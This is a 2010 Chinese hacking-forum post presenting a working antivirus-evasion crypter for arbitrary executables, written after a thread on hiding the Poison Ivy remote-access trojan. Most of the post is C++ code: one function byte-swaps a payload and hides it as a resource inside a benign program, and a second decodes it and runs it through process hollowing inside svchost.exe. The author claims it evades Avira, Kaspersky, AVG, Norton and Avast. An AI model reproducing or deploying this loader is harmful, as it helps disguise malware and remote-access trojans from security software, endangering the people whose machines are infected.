WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2715查看
  • 1回复

[经验分享] 通用exe编程免杀

主题

好友

1378

积分

金牌会员

发表于 2010-9-17 17:22:53 |显示全部楼层
前一阵子看了masepu大牛的编程免杀Poison Ivy远控那篇帖子,捣腾了下,感觉很有意思。于是就想,如果能够把其他的exe也照着这个思路做一遍,岂不是很好。当然实践证明我这个想法过于简单,中途走了不少弯路,不过幸运的是最终达成了目的。虽然方法有些折中,不够犀利。好,扯了半天这些有的没的,现在切入正题。
主体思路其实就是给原始的exe外面加上一个“壳”,这个壳复杂把修改过的可执行程序加载进内存,并将其内容修改正常,变为正确的可执行程序,然后再搞一个傀儡的进程,把我们的可执行程序替换进去,进而执行。接下来,我们配合代码详细的解释。首先说一下修改原始的exe文件: 复制内容到剪贴板
代码:
BOOL Deformation(CString strRstFile,CString strDstFile)
{
        CFile file;
        BYTE *rstdata;
        DWORD dwLen;
        HANDLE hUpdateRes;
        BOOL result;
        LPBYTE p;
        //把要当成资源的文件读入内存
        file.Open(strRstFile, CFile::modeRead);
        dwLen=file.GetLength();        
        rstdata=new BYTE[dwLen];
        file.ReadHuge(rstdata, dwLen);
        file.Close();

        // 为数据分配空间
        p = (LPBYTE)GlobalAlloc(GPTR, dwLen);
        if (p == NULL)
        {
                MessageBox("分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 复制资源数据
        CopyMemory((LPVOID)p, (LPCVOID)rstdata, dwLen);
        //这里我把前后两位的值颠倒,使其可以通过杀软的查杀        
        for (DWORD i=0; i<dwLen; i++)
        {
                if (i%2 ==0)
                {
                        CopyMemory((LPVOID)(p + i), (LPCVOID)(rstdata + i + 1), 1);
                        CopyMemory((LPVOID)(p + i + 1), (LPCVOID)(rstdata + i), 1);
                }
                i++;
        }

        //将资源写入目标exe文件
        hUpdateRes=BeginUpdateResource(strDstFile, FALSE);
        result=UpdateResource(hUpdateRes, _T("PI"), MAKEINTRESOURCE(1001), MAKELANGID(LANG_NEUTRAL, SUBLANG_SYS_DEFAULT), (LPVOID)p, dwLen);
        result=EndUpdateResource(hUpdateRes, FALSE);                //必须是FALSE,否则不更新
        return result;
}这样,就把修改过的可执行程序以资源的形式添加到另外一个正常的可执行程序中。接下来,要做的就是将修改过的可执行程序读入内存,并恢复原状,然后加以运行。继续拿代码说话: 复制内容到剪贴板
代码:
bool OnBuild()
{
        // TODO: Add your control notification handler code here
        HRSRC hResInfo;
        HGLOBAL hResData;
        DWORD dwSize;
        LPBYTE p;
        LPBYTE q;
        
        // 查找所需的资源
        hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_PI1), "pi");
        if (hResInfo == NULL)
        {
                MessageBox("查找资源失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 获得资源尺寸
        dwSize = SizeofResource(NULL, hResInfo);
        // 装载资源
        hResData = LoadResource(NULL, hResInfo);
        if (hResData == NULL)
        {
                MessageBox("装载资源失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 为数据分配空间
        p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
        if (p == NULL)
        {
                MessageBox("p分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }

        q = (LPBYTE)GlobalAlloc(GPTR, dwSize);
        if (q == NULL)
        {
                MessageBox("q分配内存失败!", "错误", MB_OK|MB_ICONINFORMATION);
                return 0;
        }
        // 复制资源数据
        ::CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
        ::CopyMemory((LPVOID)q, (LPCVOID)LockResource(hResData), dwSize);
        // 这里把可执行程序修复正确
        for (DWORD i=0; i<dwSize; i++)
        {
                if (i%2 ==0)
                {
                        ::CopyMemory((LPVOID)(p + i), (LPVOID)(q + i + 1), 1);
                        ::CopyMemory((LPVOID)(p + i + 1), (LPVOID)(q + i), 1);
                }
                i++;
        }

        IMAGE_DOS_HEADER DosHeader;
        IMAGE_NT_HEADERS NtHeader;

        PROCESS_INFORMATION pi;
        STARTUPINFO si;
        CONTEXT context;
        PVOID ImageBase;
        unsigned long BaseAddr;
        unsigned long retByte = 0;
        LONG offset;

        HMODULE hNtDll=GetModuleHandle("ntdll.dll");
        if(!hNtDll)
                return FALSE;
        ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");

        memset(&si, 0, sizeof(si));   
        memset(&pi, 0, sizeof(pi));
        si.cb = sizeof(si);        

        ::CopyMemory((void *)&DosHeader,p,sizeof(IMAGE_DOS_HEADER));
        ::CopyMemory((void *)&NtHeader,&p[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));

        //以挂起方式创建进程
        BOOL res = CreateProcess(NULL,"C:\\windows\\system32\\svchost.exe",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
        
        if (res)
        {
                context.ContextFlags = CONTEXT_FULL;
                if (!GetThreadContext(pi.hThread,&context))                //如果调用失败
                {
                        CloseHandle(pi.hThread);
                        CloseHandle(pi.hProcess);
                        return FALSE;
                }
                ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
                if (!BaseAddr)
                {
                        CloseHandle(pi.hThread);
                        CloseHandle(pi.hProcess);
                        return FALSE;
                }
                //拆卸傀儡进程内存模块
                if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
                {
                        CloseHandle(pi.hThread);
                        CloseHandle(pi.hProcess);
                        return FALSE;
                }
                ImageBase = VirtualAllocEx(pi.hProcess,
                        (void *)NtHeader.OptionalHeader.ImageBase,
                        NtHeader.OptionalHeader.SizeOfImage,
                        MEM_RESERVE|MEM_COMMIT,
                        PAGE_EXECUTE_READWRITE);                //ImageBase 0x00400000
                if (ImageBase == NULL)
                {
                        DWORD wrongFlag = GetLastError();
                        CloseHandle(pi.hThread);
                        CloseHandle(pi.hProcess);
                        return FALSE;
                }               
                //替换傀儡进程内存数据
                if(!WriteProcessMemory(pi.hProcess, ImageBase, p, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
                {
                        DWORD wrongFlag2 = GetLastError();               
                }
                //DOS 头 + PE 头 + 区块表的总大小
                //定位到区块头
                offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
                IMAGE_SECTION_HEADER secHeader;
                WORD i = 0;
                for (;i < NtHeader.FileHeader.NumberOfSections;i++)
                {
                        //定位到各个区块
                        ::CopyMemory((void *)&secHeader, &p[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
                        WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&p[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
                        VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
                }
               
                context.ContextFlags = CONTEXT_FULL;
                //重置 执行文件入口
                WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
                        &ImageBase,                        //4194304
                        4, &retByte);
                context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(pi.hThread,&context);
                ResumeThread(pi.hThread);
        }
        
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);

        GlobalFree((HGLOBAL)p);

        return 0;
}至此,运行生成好的可执行程序,一切正常。简单测试了下,能顺利通过小红伞、卡巴斯基、AVG、诺顿、AVAST等杀软的查杀。本文旨在探讨免杀方法,技术比较简单,还望大家多多指教。

主题

好友

8

积分

新手上路

发表于 2010-10-18 11:19:36 |显示全部楼层
我靠好长啊..新手看看就可以了
回复

使用道具 举报

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-30 09:00 , Processed in 0.061807 second(s), 17 queries .

返回顶部